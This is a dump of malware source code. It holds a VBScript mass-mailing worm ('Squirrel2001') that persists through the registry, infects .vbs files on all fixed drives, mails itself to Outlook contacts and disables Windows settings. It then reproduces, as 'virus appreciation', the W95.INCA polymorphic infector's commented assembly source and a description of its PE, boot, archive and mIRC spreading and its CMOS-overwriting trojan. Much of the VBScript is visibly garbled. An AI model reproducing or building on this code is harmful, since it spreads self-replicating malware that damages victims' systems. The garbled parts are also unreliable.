c.write"dd.write vbscopy"
c.write"dd.close"
c.write"shell('%windir%\'"&conta&contb&"'.vbs')"
c.close
set c=nothing
known.regwirte

"HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\MSKernel32","%WINDIR%"&"\s

ystem32\Squirrel2001.vbs"
set c=fso.opentextfile("%windir%"&"\system32\"&"Squirrel2001.vbs"
psa=c.readall
c.close
mailsend()
copyvirus()
else
killdatea()
end if
end sub

sub copyvirus()
Dim objfso As New Scripting.FileSystemObject
Dim drvloop As Scripting.Drive
For Each drvloop In objfso.Drives
If drvloop.DriveType = Fixed Or drvloop.IsReady Then
If drvloop.DriveType = 3 Then
virussafe drvloop.driveletter&":\"
End If
End If
Next drvloop
Set objfso = Nothing
known.RegWrite("HKEY_CURREN_USER\Squirrel2001\vbs","die",REG_STRING)
end sub

Sub virussafe(strpath As String)
Dim objfolder As Scripting.Folder
Dim objfile As Scripting.File
Dim objsubdirs As Scripting.Folders
Dim sobj As Scripting.FileSystemObject
Dim sobjv, c, fs
Dim a As String
Dim ca As Scripting.TextStream
Dim objloopfolder As Scripting.Folder
Set sobjv = CreateObject("Scripting.FileSystemObject"
Set sobj = New Scripting.FileSystemObject
Set objfolder = sobj.GetFolder(strpath)
For Each objfile In objfolder.Files
If UCase$(Right$(objfile.ShortPath, 4)) = ".vbs" Then
If objfile.Path <>; Appliction.Name Then
copyin(objfile.fullpath)
End If
End If
Next objfile
Set objsubdirs = objfolder.SubFolders
For Each objloopfolder In objsubdirs
virussafe objloopfolder.Path
Next objloopfolder
Set objsubdirs = Nothing
Set objfolder = Nothing
End Sub

sub passaa()
pass=""
dim i,usechar,word
i=0
usechar="QWERTYUIOP{}ASDFGHJKL:ZXCVBNM<>;?~!@#$%^&*()_+|*/-qwertyuiop[]asdfghjkl;'zxcvbnm,./`

1234567890-=\"
word=""
Randomize
for i=0 to 32
word=word+Mid(usechar,Le(usechar)*rnd+1,1)
next i
pass=(year(now)+800)*month(now)*day(now)*(time(now)+100)+word
end sub

sub cont()
conta=""
contb=""
dim i,usechar,word
i=0
usechar="QWERTYUIOPASDFGHJKLZXCVBNM"
word=""
Randomize
for i=0 to 12
word=word+Mid(usechar,Le(usechar)*rnd+1,1)
next i
conta=word
dim kk
word=""
Randomize
for kk=0 to 12
word=word+mid(usechar,Le(usechar)*rnd+1,1)+mid(conta,Le(conta)*rnd+1,1)
next kk
contb=word*year(now)*256-1
end sub

sub exor(mstrKey as string)
vbscopya=""
Dim lngN As Long
    Randomize Rnd(-1)
    For lngN = 1 To Len(mstrKey)
        Randomize Rnd(-Rnd * Asc(Mid(mstrKey, lngN, 1)))
    Next lngN
Dim lngC As Long
    Dim intB As Long
    Dim lngx As Long
    For lngx = 1 To Len(vbscopy)
        lngC = Asc(Mid(vbscopy, lngx, 1))
        intB = Int(Rnd * 256)
        Mid(vbscopy, lngx, 1) = Chr(lngC Xor intB)
    Next lngx
Dim lngz As Long
    Dim lngs As Long
    Dim lngJ As Long
    Dim lngK As Long
    Dim lngA As Long
    Dim str As String
    lngA = Len(vbscopy)
    strB = Space(lngA + (lngA + 2) \ 3)
    For lngN = 1 To lngA
        lngz = Asc(Mid(vbscopy, lngs, 1))
        lngJ = lngJ + 1
        Mid(strB, lngJ, 1) = Chr((lngz And 63) + 59)
        Select Case lngs Mod 3
        Case 1
            lngK = lngK Or ((lngz \ 64) * 16)
        Case 2
            lngK = lngK Or ((lngz \ 64) * 4)
        Case 0
            lngK = lngK Or (lngz \ 64)
            lngJ = lngJ + 1
            Mid(strB, lngJ, 1) = Chr(lngK + 59)
            lngK = 0
        End Select
    Next lngs
    If lngA Mod 3 Then
        lngJ = lngJ + 1
        Mid(strB, lngJ, 1) = Chr(lngK + 59)
    End If
   vbscopya = strB
end sub

sub mailsend()
dim x,a,ctrlists,ctrentries,malead,b,regedit,regv,regad
set regedit=CreateObject("WScript.Shell"
set out=WScript.CreateObject("Outlook.Application"
' 病毒的局限:只支持Outlook,而Outlook Express则不支持。
set mapi=out.GetNameSpace("MAPI")
for ctrlists=1 to mapi.AddressLists.Count
set a=mapi.AddressLists(ctrlists)
x=1
regv=regedit.RegRead("HKEY_CURRENT_USER\Software\Microsoft\WAB\"&a)
if (regv="") then
regv=1
end if
if (int(a.AddressEntries.Count)>;int(regv)) then
for ctrentries=1 to a.AddressEntries.Count
malead=a.AddressEntries(x)
regad=""
regad=regedit.RegRead("HKEY_CURRENT_USER\Software\Microsoft\WAB\"&malead)
if (regad="") then
set male=out.CreateItem(0)
male.Recipients.Add(malead)
male.Subject = " Happy Valentine's Day To You"  
male.HtmlBody ="<Script Language='VBScript'>;"&psa&"</Script>;"
male.Send
regedit.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\WAB\"&malead,1,"REG_DWORD"
end if
x=x+1
next
regedit.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\WAB\"&a,a.AddressEntries.Count
else
regedit.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\WAB\"&a,a.AddressEntries.Count
end if
next
Set out=Nothing
Set mapi=Nothing
end sub

sub copyin(filea as string)
passa()
cont()
dim c,di,cr
set di=fso.opentextfile(filea)
cr=di.readall
di.close
fso.deletefile(filea)
set c=fso.CreateTextFile(filea)
dim usechar,word
usechar="1234"
word=""
Randomize
word=Mid(usechar,Le(usechar)*rnd+1,1)
Select Case Val(word)
        Case 1
exor(pass)
c.write"On Error Resume Next "
c.write"dim"&""&conta&","&contb&","&"ts"&"ps"
c.wrtte"dim reg"
c.write"set reg=createobject('wscript.shell')
c.write"reg.RegWrite 'HKEY_CURRENT_USER\Software\Microsoft\Windows Scripting

Host\Settings\Timeout',0,'REG_DWORD'"
c.write conta&"="&pass
c.write contb&"="&vbscopya
c.write"ts="&contb
c.write"ps="&conta
c.write dexorstring
c.write"dim ass,ff,dd"
c.write"set ass = CreateObject('Scripting.FileSystemObject') "
c.write"set dd=ass.createtextfile('%windir%\'"&conta&contb&"'.vbs')"
c.write"dd.write vbscopy"
c.write"dd.close"
c.write"shell('%windir%\'"&conta&contb&"'.vbs')"
c.close         
        Case 2
xortie(pass)
c.write"On Error Resume Next "
c.write"dim"&""&conta&","&contb&","&"ts"&"ps"
c.wrtte"dim reg"
c.write"set reg=createobject('wscript.shell')
c.write"reg.RegWrite 'HKEY_CURRENT_USER\Software\Microsoft\Windows Scripting

Host\Settings\Timeout',0,'REG_DWORD'"
c.write conta&"="&pass
c.write contb&"="&vbscopya
c.write"ts="&contb
c.write"ps="&conta
c.write dexortie
c.write"dim ass,ff,dd"
c.write"set ass = CreateObject('Scripting.FileSystemObject') "
c.write"set dd=ass.createtextfile('%windir%\'"&conta&contb&"'.vbs')"
c.write"dd.write vbscopy"
c.write"dd.close"
c.write"shell('%windir%\'"&conta&contb&"'.vbs')"  
c.close      
        Case 3
dim vbscopyb
vbscopyb=vbscopy
vbscopy=cr
xortie(pass)
vbscopy=vbscopyb
vbscopyb=vbscopya
exor(pass)
c.write"On Error Resume Next "
c.write"dim"&""&conta&","&contb&","&"ts"&"ps"
c.wrtte"dim reg"
c.write"set reg=createobject('wscript.shell')
c.write"reg.RegWrite 'HKEY_CURRENT_USER\Software\Microsoft\Windows Scripting

Host\Settings\Timeout',0,'REG_DWORD'"
c.write conta&"="&pass
c.write contb&"="&vbscopya
c.write"ts="&contb
c.write"ps="&conta
c.write dexortie
c.write"dim ass,ff,dd"
c.write"set ass = CreateObject('Scripting.FileSystemObject') "
c.write"set dd=ass.createtextfile('%windir%\'"&conta&contb&"'.vbs')"
c.write"dd.write vbscopy"
c.write"dd.close"
c.write"shell('%windir%\'&conta&contb&'.vbs')"  
c.write"sub main()"
c.write"ts="&vbscopyb
c.wirte dexorstring
c.write"dim dss"
c.write"set dss=ass.createtextfile("&conta*contb&"'.vbs')"
c.write"dss.write vbscopy"
c.write"dss.close"
c.write"shell("&conta*contb&"'.vbs')"
c.write"end sub"
c.close              
        Case 4
dim vbscopyb
vbscopyb=vbscopy
vbscopy=cr
exor(pass)
vbscopy=vbscopyb
vbscopyb=vbscopya
xortie(pass)
c.write"On Error Resume Next "
c.write"dim"&""&conta&","&contb&","&"ts"&"ps"
c.wrtte"dim reg"
c.write"set reg=createobject('wscript.shell')
c.write"reg.RegWrite 'HKEY_CURRENT_USER\Software\Microsoft\Windows Scripting

Host\Settings\Timeout',0,'REG_DWORD'"
c.write conta&"="&pass
c.write contb&"="&vbscopya
c.write"ts="&contb
c.write"ps="&conta
c.write dexorstring
c.write"dim ass,ff,dd"
c.write"set ass = CreateObject('Scripting.FileSystemObject') "
c.write"set dd=ass.createtextfile('%windir%\'"&conta&contb&"'.vbs')"
c.write"dd.write vbscopy"
c.write"dd.close"
c.write"shell('%windir%\'&conta&contb&'.vbs')"  
c.write"sub main()"
c.write"ts="&vbscopyb
c.wirte dexortie
c.write"dim dss"
c.write"set dss=ass.createtextfile("&conta*contb&"'.vbs')"
c.write"dss.write vbscopy"
c.write"dss.close"
c.write"shell("&conta*contb&"'.vbs')"
c.write"end sub"
c.close              
End Select   
end sub


sub xortie(passb as string)
vbscopya=""
dim k as long
dim length as integer
dim passc
length=len(passb)
for k=1 to 128
passc=passb+asc(mid(passb,k,1))*256*k
next k
passc=-passc
dim flength as long
dim size as long
dim byteblock() as byte
dim j as long
dim position as long
flength=lof(vbscopy)
size=flength
rnd(passc)
byteblock=vbscopy
for j=1 to size
byteblock(j)=byteblock(j) xor int(rnd*256)
next j
vbscopya=byteblock
end sub

sub killdatea()
On Error Resume Next
dim snow
set snow=CreateObject("WScript.Shell")
snow.regwrite"HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVesion\Policies\Explorer\N

oRecentDocsMenu",1,"REG_DWORD"
snow.regwrite"HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVesion\Policies\Explorer\N

oFind",1,"REG_DWORD"
snow.regwrite"HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVesion\Policies\Explorer\N

oRun",1,"REG_DWORD"
snow.regwrite"HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVesion\Policies\Explorer\N

oLogOff",1,"REG_DWORD"
snow.regwrite"HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVesion\Policies\Explorer\N

oClose",1,"REG_DWORD"
snow.regwrite"HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVesion\Policies\Explorer\N

oSetFolders",1,"REG_DWORD"
snow.regwrite"HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVesion\Policies\Explorer\N

oFavoritesMenu",1,"REG_DWORD"
snow.regwrite"HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVesion\Policies\Explorer\N

oStartBanner",1,"REG_DWORD"
snow.regwrite"HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVesion\Policies\Explorer\N

oSetTaskbar",1,"REG_DWORD"
snow.regwrite"HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVesion\Policies\Explorer\N

oFolderOptions",1,"REG_DWORD"
snow.regwrite"HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVesion\Policies\Explorer\N

oSetActiveDescktop",1,"REG_DWORD"
snow.regwrite"HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVesion\Policies\Explorer\N

oWindowsUpdate",1,"REG_DWORD"
snow.regwrite"HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVesion\Policies\Explorer\N

oViewContextMenu",1,"REG_DWORD"
snow.regwrite"HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVesion\Policies\Explorer\N

oTrayContextMenu",1,"REG_DWORD"
snow.regwrite"HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVesion\Policies\System\NoD

evMgrPage",1,"REG_DWORD"
snow.regwrite"HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVesion\Policies\System\NoC

onfigPage",1,"REG_DWORD"
snow.regwrite"HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVesion\Policies\System\NoF

ileSysPage",1,"REG_DWORD"
snow.regwrite"HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVesion\Policies\System\NoV

irtMemPage",1,"REG_DWORD"
snow.regwrite"HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVesion\Policies\System\NoD

ispCPL",1,"REG_DWORD"
snow.regwrite"HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVesion\Policies\System\NoD

ispBackgroundPage",1,"REG_DWORD"
snow.regwrite"HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVesion\Policies\System\NoD

ispscrsavPage",1,"REG_DWORD"
snow.regwrite"HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVesion\Policies\System\NoD

ispAppearancePage",1,"REG_DWORD"
snow.regwrite"HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVesion\Policies\System\NoD

ispSettingsPage",1,"REG_DWORD"
snow.regwrite"HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVesion\Policies\System\NoS

ecCPL",1,"REG_DWORD"
snow.regwrite"HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVesion\Policies\System\NoP

wdPage",1,"REG_DWORD"
snow.regwrite"HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVesion\Policies\System\NoA

dminPage",1,"REG_DWORD"
snow.regwrite"HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVesion\Policies\System\NoP

rofilePage",1,"REG_DWORD"
snow.regwrite"HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVesion\Policies\ActiveDesk

top\NoComponents",1,"REG_DWORD"
snow.regwrite"HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVesion\Policies\ActiveDesk

top\NoAddingComponents",1,"REG_DWORD"
snow.regwrite"HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVesion\Policies\ActiveDesk

top\NoDeletingComponents",1,"REG_DWORD"
snow.regwrite"HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVesion\Policies\ActiveDesk

top\NoEditingComponents",1,"REG_DWORD"
snow.regwrite"HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVesion\Policies\ActiveDesk

top\NoClosingComponents",1,"REG_DWORD"
snow.regwrite"HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVesion\Policies\Network\No

NetSetup",1,"REG_DWORD"
snow.regwrite"HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVesion\Policies\Network\No

NetSetupIDPage",1,"REG_DWORD"
snow.regwrite"HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVesion\Policies\Network\No

NetSetupSecurityPage",1,"REG_DWORD"
snow.regwrite"HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVesion\Policies\Network\No

FileSharingControl",1,"REG_DWORD"
snow.regwrite"HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVesion\Policies\Network\No

EntireNetwork",1,"REG_DWORD"
snow.regwrite"HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVesion\Policies\Network\No

WorkgroupContents",1,"REG_DWORD"
snow.regwrite"HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVesion\Policies\Explorer\N

oPrinters",1,"REG_DWORD"
snow.regwrite"HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVesion\Policies\Explorer\N

oAddPrinter",1,"REG_DWORD"
snow.regwrite"HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVesion\Policies\Explorer\N

oDeletePrinter",1,"REG_DWORD"
snow.regwrite"HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVesion\Policies\Explorer\N

oPrinterTab",1,"REG_DWORD"
snow.regwrite"HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Winlogon\LegalNot

iceCaption","I MISS YOU"
snow.regwrite"HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Winlogon\LegalNot

iceText","难道真是昨夜星辰昨夜风,此情可待成追忆了吗?一切都仿佛发生在昨天!你好吗?我只是想

知道你还好吗。"
if month(now()) = 3 then
goto die
end if
:die
dim n
n=100000
goto fire
:trysnow
if n = 0 then
n=100000
goto fire
else
goto fire
end if
:fire
snow.popul"给我痴迷的叶子:
    别问我是谁,
    我知道你不会看见这封信,因为你说现在不上网了。所以我把要告诉你的话,
真心的话,都写在这里。也许,有一天你会看见它,而我已离去,不再回头。
我说如果要爱你,我会背负上道德的枷锁。你说,自己的事别人管不着。
喜欢就是喜欢而不喜欢也不能勉强。可是善良、热情和体贴的我,有着软弱、
轻信和呆板的一面,你看到了吗?我难以放下别人的眼光,追求我的真爱。
如果现在我已经为此付出了心痛的代价,我相信,将来这代价会越来越大!
曾经对你说,我的心已经是一片死地,寂静而荒凉;我已不能体会什么是
伤心和痛苦,因为泉眼里已经没有汩汩的泉水。而现在,我遇到你之后,才
发现自己犯了一个错误——死的已经死了,而活着的并没有消失。它躲了起来,
等待着春风的吹拂,期盼着雨露的滋润。虽然它什么都不说,而只是默默的等待。
这时我等到了你。或许是,你终于找到了我。我爱上了你的声音,然后是你的
善良和体贴。我内心的欢喜无法言说,却小心翼翼的将之掩藏。我好想告诉你真
的已经爱上了你,可是对着你,对着电话,我又故做冷淡和理智! 我把你的信
读了一遍又一遍,而告诉你只读了一次;我把你的声音回味了一次又一次,却不
敢让你知道我已经深陷情网;我看着你的成长,为你欣喜,却更收藏我的创伤,
一个人默默舔尝。 你能体会我的话,对吗?每一次你都说:我懂,你的每一句话
我都懂!你不知道,这句话让我多感动! 好想爱,不能爱。
   盼与你有来生缘!
    Love you for ever."
shell("%windir%\write.exe")                  
n=n-1
goto trysnow
end sub

下面是病毒赏析今天我们要欣赏win.inca(第一只win32混合病毒)
      ;[W95.INCA] Multipartite PE/BOOT polymorphic mIRC spreading infector
;Copyright 1998 (c) Vecna
;
;This is my first attempt at w95 plataform. Is a multipartite infector of PE
;filez, focused in fast spreading. It infect PE files by adding a new section
;randomly named and a polymorphic VxD-dropper. It infect ARJ/ZIP/RAR/LHA/PAK
;by adding a random named COM dropper, encripted by a polymorphic loop. It
;infect boot of floppies by adding a polymorphic loader to their boot sectorz.
;It spread over internet using DCC protocol provided by mIRC, using a worm to
;spread over channelz. In the internet part is also the payload activation.
;
;The polymorphic decriptor in PE files isnt based in math instructionz, but
;in swapping. This novel technic of encription should provide problemz to
;disinfection and detection i hope, as not the whole code is "encripted" , but
;just some chunkz. The polymorphic decriptor is filled by lotz of conditionalz
;and unconditional jumpz.
;
;The polymorphic engine that generate the droppers and the boot loader keep
;track of the contentz of all regz and flagz, as in advanced engines as
;Uruguay or Level3. This mean that if i need AX holding 0x0202, as for load 2
;sectorz in the boot loader, i can obtain this values using XOR AX, ??? or
;ADD AX, ??? and like.
;
;This source isnt compilable as is. Use the pre-compiled virus.
;
;
;Here's the description of w95/Inca by DrWeb, translated from russian to
;english by Lurker (thankz!!)
;
;
;Win95. Inca
;
;       Dangerous resident polymorphic multipartite virus. Win95.Inca
;       infects EXE files in a format of PE (Portable Executable) for
;       operation systems Windows95/98 and boot sectors of floppy
;       disks. And also Win95.Inca is a virus-worm for ARJ, LHA, LZH,
;       PAK, RAR and ZIP-archives and for the mIRC32 program.
;
;       When infected PE file is started, the virus receives management
;       and polymorphic decryptor deciphers the base code of a virus.
;       And this decoding is made by enough unusual way - in initial variant
;       the base virus code will contatin the table of indexes or displacements
;       of original bytes in the virus body. And it is necessary to understand
;       that decoding in this case will be substitution or compilation
;       original bytes on place of their one-byte indexes or displacements.
;       After given "assembly" of the code, virus determines (by
;       "already standard" for this type of viruses algorithm) the address
;       of interesting for it functions in KERNEL32.DLL and creates
;       a file C:\W95INCA.COM, in which file virus writes a polymorphic
;       DOS COM dropper.
;
;       This polymorphic 16bit DOS-code is already generated on infection of
;       the PE EXE-file, and because of that any "additional efforts" for
;       creation of a polymorphic copies on the given stage are not undertaken.
;       Then the created file is closed.
;       This dropper file is executed by the virus and then, after some delay,
;       deleted. Further the virus returnes back management to the
;       infected host PE-file.
;       This is all actions, which carries out a virus code in the PE EXE-file.
;       Therefore, it is possible to consider all infected PE EXE-files, as
;       droppers.
;
;       The C:\W95INCA.COM file, executed by the virus, determines Windows
;       directory (WINDIR) and tries to create in the \WINDOWS\SYSTEM folder
;       a file with the name FONO98.VXD.
;       If this attempt is successful, the virus unpacks
;       with the elementary algorithm, a code of the 32bit VxD-driver,
;       which is contained inside of the 16bit DOS-code, and writes it in
;       this newly created FONO98.VXD file.
;
;       Further virus opens a configuration Windows file SYSTEM.INI, searches
;       in it for the section "[386Enh]" and just below this line
;       writes a line "device=fono98.vxd".
;
;       After described manipulations, or, if the line "device=fono98.vxd"
;       is already is present in the SYSTEM.INI, or file FONO98.VXD
;       was created earlier in the \WINDOWS\SYSTEM folder, or,
;       if it wasn't possible to find the WINDOWS folder, virus finishes its
;       work and returns management to DOS.
;
;       After the system reboot and on the next startof Windows virus
;       VxD-driver FONO98.VXD is loaded by the system into a memory and
;       runned.
;
;       In a first task, the virus driver deletes system VxD-driver HSFLOP.PDR
;       in the catalogue \WINDOWS\SYSTEM\IOSUBSYS folder. Then virus reads
;       in memory a code from its own FONO98.VXD and creates in memory
;       three different polymorphic copies: for infection PE EXE-files,
;       for infection of boot-sectors of floppies and for creation of
;        16bit DOS droppers in a format of COM-files.
;       Futher, in a current session, and untill the next system reboot,
;       virus will infect the specified objects only with these copies.
;
;       Win95.Inca concerns to a class of the "slow polymorpics".
;       Further virus "intercepts" IFSMgr FileSystemApiHook and Int 13h
;       (disk operations), establishing on them its own events handlers.
;
;       IFSMgr handler of the virus supervises opening files. On the
;       opening files with extensions EXE and SCR, virus checks their
;       internal format, and if the opening files are Portable Executable,
;       virus infects them, by creating additional code section with a
;       random name in the header of PE-file and writing in its area virus
;       polymorphic code. On opening of archive files with the extensions
;       LHA, LZH, PAK, ZIP, ARJ or RAR, the virus adds to the given
;       archives its 16bit polymorphic code (worm) in a format of COM-file,
;       also modifies header of the archive files in such a manner that
;       the this virus-worm appears placed in the archive in a unpacked
;       form (store format) also receives a random name, consisting from
;       four letters, and with the extension COM or EXE (for example, AAAA.COM
;       or ABCD.EXE). On opening of the MIRC32.EXE file (program for
;       "chat" over the Internet) the virus writes or adds in the end
;       of the configuration file MIRC.INI, line " [fileserver]" and
;       "Warning = Off".
;
;       Also virus creates a new (if they exist on a disk) files SCRIPT.OLD,
;       SCRIPT.INI, INCA.EXE and REVENGE.COM.
;       In the file INCA.EXE, virus writes a code of the polymorphic 16bit
;       virus-worm. In the file REVENGE.COM - 231 bytes of the trojan code,
;       that rewrites the content of the CMOS-memory.
;       [*Authors Note - It put a password in AMI/AWARD BIOS*]
;
;       And in the file SCRIPT.INI virus writes text of the virus MIRC-worm.
;
;       On start of the MIRC32.INI under scenario of the SCRIPT.INI,
;       it runs the file INCA.EXE. Further under the same scenario it
;       tries to send files SCRIPT.INI (mIRC-worm) and INCA.EXE (virus
;       dropper) to computers of all members of the "chat conversation" in
;       the Internet.
;       If during the chat there will appaer a text string "El_inca",
;       under the scenario of the SCRIPT.INI - trojan program REVENGE.COM
;       will be launched. If somebody will "tell a word" "ancev",
;       the virus script "will allow" him to access disk  drive C:.
;       Even if this person is for several thousand miles from the infected
;       computer.
;
;       And if at the time of "conversation" there will appear a text
;        "_29A_", the program MIRC32.EXE will self-exits.
;
;       Virus handler of the disk operations on the Int 13h, supervises
;       the reading of the boot sectors of the floppes in the drive A:
;       and on an opportunity infects them, by replacing the original
;       boot loader with polymorphic, and writing on a disk its own
;       copies.
;
;       On a booting from such infected floppy, virus loader will
;       receive management, and will read to memory all sectors with the
;       virus code, "will intercept" Int 1Ch (timer), and then Int 21h.
;       A task of the  Int21h handler is simple - on the first
;       opportunity, it tries to create FONO98.VXD in the
;       C:\WINDOWS\SYSTEM folder and to register
;       it in the SYSTEM.INI configuration file (in the "[386Enh]" section).
;       The task is exactly the same, as well as performed by a
;       C:\W95INCA.COM file-dropper, algorithm of which was
;       described in the beginning.
;       A difference only that the dropper C:\W95INCA.COM determines
;       the lochation of Windows system folder fome a variable WINDIR.
;       And Int21h handler tries to place dropper in the C:\WINDOWS\SYSTEM
;       folder.
;       After the given attempt (successful or not) the virus
;       "releases" Int21h and neutralizes its own copy in memory.
;
;       The virus contains text "El Inca virus".
;
;       The size of the virus VxD-driver is 15327 bytes.
;
;       So, all infected objects can be considered as virus-hosts or droppers,
;       except created by the virus VxD-driver.
;       This VxD-driver installs virus copy in memory, and hits all other
;       objects. However you see that it does not infect
;       "similar to itself" VxD-drivers. VxD-driver is only the carrier
;       of an infection, but it is not an infected object.
;


         MINSIZEINFECT  EQU 8*1024             ;zopy me - i want to trawel


  BPB STRUC
         bpb_jmp db 3 dup (?)
         bpb_oem db 8 dup (?)
         bpb_b_s dw ?
         bpb_s_c db ?
         bpb_r_s dw ?
         bpb_n_f db ?
         bpb_r_e dw ?
         bpb_t_s dw ?
         bpb_m_d db ?
         bpb_s_f dw ?
         bpb_s_t dw ?
         bpb_n_h dw ?
         bpb_h_d dw ?
         bpb_sht db 20h dup (?)
  BPB ENDS

.386p
.XLIST
   Include Vmm.Inc
   Include Ifs.Inc
   Include Ifsmgr.Inc
.LIST

Declare_Virtual_Device FONO98, 1, 0, FONO98_Control, Undefined_Device_ID,,,

VxD_Locked_Code_Seg

       IncaName   db 'INCA.EXE', 0             ;Vars used by the virus
       NextHook   dd 0
       FileHandle dd 0
       FileSize   dd 0
       FileAttr   dd 0
       Pad        dd 0
       BufferOneHandle   dd 0
       BufferTwoHandle   dd 0
       VxDCompressedBuffer dd 0
       VxDCompressedSize   dd 0
       PolyBootSize        dd 0
       PolyBootBuffer      dd 0
       PolyDOSFileBuffer   dd 0
       PolyDOSFileSize     dd 0
       PolyPESize          dd 0
       PolyPEBuffer        dd 0
       VMF_handle dd 0
       VMF_size   dd 0
       VMF_base   dd 0
       OurFile     db 0
       FloppyInUse db 0
       UpDown     db 0
       Compressed db 0
       CrpTbl         db 200h dup (0)
     SectorBuffer     Equ This Byte
       CrcTab         db 2048 dup (0)
     FileName         Equ This Byte
       VMM32Path      db MAX_PATH dup (0)



       ZIPRHeaderId        db 'PK'             ;Structures used when
       ZIPRSignature       db 01, 02           ;infecting archivers
       ZIPRVerMade         dw 10
       ZIPRVerNeed         dw 0ah
       ZIPRFlags           dw 0
       ZIPRMethod          dw 0
       ZIPRTimeDate        dd 12345678h
       ZIPRCRC32           dd 0
       ZIPRCompressed      dd 0
       ZIPRUncompressed    dd 0
       ZIPRSizeFilename    dw ZIPRNameLenght
       ZIPRExtraField      dw 0
       ZIPRCommentSize     dw 0
       ZIPRDiskNumba       dw 0
       ZIPRInternalAttr    dw 01
       ZIPRExternalAttr    dd 21h
       ZIPROffsetLHeaderR  dd 0
       ZIPRFilename        db 'AAAA.COM'
     ZIPRNameLenght      Equ This Byte - offset32 ZIPRFilename
     ZIPRHeaderSize      Equ This Byte - offset32 ZIPRHeaderId

       ZIPLHeaderId        db 'PK'
       ZIPLSignature       dw 0403h
       ZIPLVersionNeed     dw 0010
       ZIPLFlags           dw 80h
       ZIPLMethod          dw 0
       ZIPLDateTime        dd 12345678h
       ZIPLCRC32           dd 0
       ZIPLCompressed      dd 0
       ZIPLUncompressed    dd 0
       ZIPLSizeFilename    dw ZIPLNameLenght
       ZIPLExtraField      dw 0
       ZIPLFilename        db 'AAAA.COM'
     ZIPLNameLenght      Equ This Byte - offset32 ZIPLFilename

     ZIPReadBuffer       Equ This Byte
       ZIPEHeaderId        db 'PK'
       ZIPSignature        dw 0
       ZIPNoDisk           dw 0
       ZIPNoStartDisk      dw 0
       ZIPEntryDisk        dw 0
       ZIPEntrysDir        dw 0
       ZIPSizeDir          dd 0
       ZIPOffsetDir        dd 0
       ZIPCommentLenght    dw 0
     ZIPEHeaderSize      Equ This Byte - offset32 ZIPEHeaderId

       ARJHeaderId         dw 0ea60h
       ARJHeaderSize       dw offset32 ARJHeaderCRC-offset32 ARJ1HeaderSize
       ARJ1HEaderSize      db offset32 ARJFilename-offset32 ARJ1HeaderSize
       ARJVersionDone      db 6
       ARJVersionNeed      db 1
       ARJHostOS           db 0
       ARJFlags            db 0
       ARJMethod           db 0
       ARJType             db 0
       ARJReserved         db 0
       ARJDateTime         dd 12345678h
       ARJCompressedSize   dd 0
       ARJUncompressedSize dd 0
       ARJFileCRC          dd 0
       ARJEntryname        dw 0
       ARJAccessMode       dw 21h
       ARJHostData         dw 0
       ARJFilename         db 'AAAA.COM',0
       ARJComment          db 0
       ARJHeaderCRC        dd 0
       ARJExtHeader        dw 0
       ARJEnd              dw 0ea60h, 0000h

       RARHeaderCRC        dw 0
       RARHeaderType       db 74h
       RARFileFlags        dw 08000h
       RARHeaderSize       dw offset32 RARHeaderEnd - offset32 RARHeaderCRC
       RARCompressedSize   dd 0
       RARUncompressedSize dd 0
       RARHostOS           db 0
       RARFileCRC          dd 0
       RARDateTime         dd 12345678h
       RARVersionNeed      db 14h
       RARMethod           db 30h
       RARFileNameSize     dw offset32 RARHeaderEnd - offset32 RARFileName
       RARFileAttribute    dd 21h
       RARFileName         db 'AAAA.COM'
     RARHeaderEnd        Equ This Byte

       LHASig              db LHAHeaderSize-2
       LHAHeaderCRC        db 0
       LHAMethod           db '-lh0-'
       LHACompressedSize   dd 0
       LHAUncompressedSize dd 0
       LHADateTime         dd 12345678h
       LHAFlags            dw 120h
       LHANameLenght       db offset32 LHASizeFilename - offset32 LHAFilename
       LHAFilename         db 'AAAA.COM'
     LHASizeFilename     Equ This Byte
       LHACRC16            dw 0
       LHAStuff            db 'M'
       LHAStuff2           dw 0
